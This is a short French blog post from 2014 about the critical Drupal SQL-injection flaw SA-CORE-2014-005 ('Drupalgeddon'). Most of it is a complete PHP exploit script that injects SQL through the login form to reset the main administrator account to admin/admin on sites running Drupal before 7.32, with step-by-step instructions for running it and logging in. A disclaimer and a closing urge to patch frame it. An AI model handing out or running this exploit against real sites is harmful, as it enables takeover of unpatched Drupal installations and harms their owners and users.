Posted by florian | Posted in Drupal | Posted on 17-10-2014
Étiquettes : Drupal, drupalgeddon, exploit, securité
Les drupaliens invétérés le savent bien depuis ce mercredi 15 octobre : une faille de sécurité hautement critique, de type injection SQL et répondant au doux nom de SA-CORE-2014-005, vient d’être rendue publique.
Cette fois-ci, c’est du sérieux. Jugez plutôt avec cet exploit trouvé sans trop chercher…
Disclaimer : les informations qui suivent n’ont vocation qu’à illustrer le caractère critique de la faille de sécurité rapportée et n’engagent en aucun cas ma responsabilité.
Etape 1 : créer un fichier exploit.php avec le contenu suivant en modifiant au passage l’URL cible du site Drupal < 7.32 (dont vous êtes propriétaire, cela va sans dire) :
<?php $url = 'http://www.mon-site.com'; // URL du site cible $post_data = "name[0%20;update+users+set+name%3D'admin'+,+pass+%3d+'" . urlencode('$S$CTo9G7Lx2rJENglhirA8oi7v9LtLYWFrGm.F.0Jurx3aJAmSJ53g') . "'+where+uid+%3D+'1';;#%20%20]=test3&name[0]=test&pass=test&test2=test&form_build_id=&form_id=user_login_block&op=Log+in"; $params = array( 'http' => array( 'method' => 'POST', 'header' => "Content-Type: application/x-www-form-urlencoded\r\n", 'content' => $post_data ) ); $ctx = stream_context_create($params); $data = file_get_contents($url . '?q=node&destination=node', null, $ctx); if(stristr($data, 'mb_strlen() expects parameter 1 to be string') && $data) { echo "Ca a marché ! Tu peux t'authentifier avec l'utilisateur \"admin\" et le mot de passe \"admin\" sur {$url}user/login"; } else { echo "Ca n'a pas marché : soit le site n'est pas vulnérable soit il n'a pu être chargé (problème de connexion Internet ?)..."; }
Etape 2 : exécuter le script
php exploit.php
Etape 3 : si le site est vulnérable, vous pouvez à présent vous authentifier sur http://www.mon-site.com/user/login avec le compte « admin », avec le mot de passe « admin ». Quelque peu flippant, n’est-ce pas ?..
Allez, qu’est-ce que tu attends ? File vite mettre à jour tes sites Drupal !..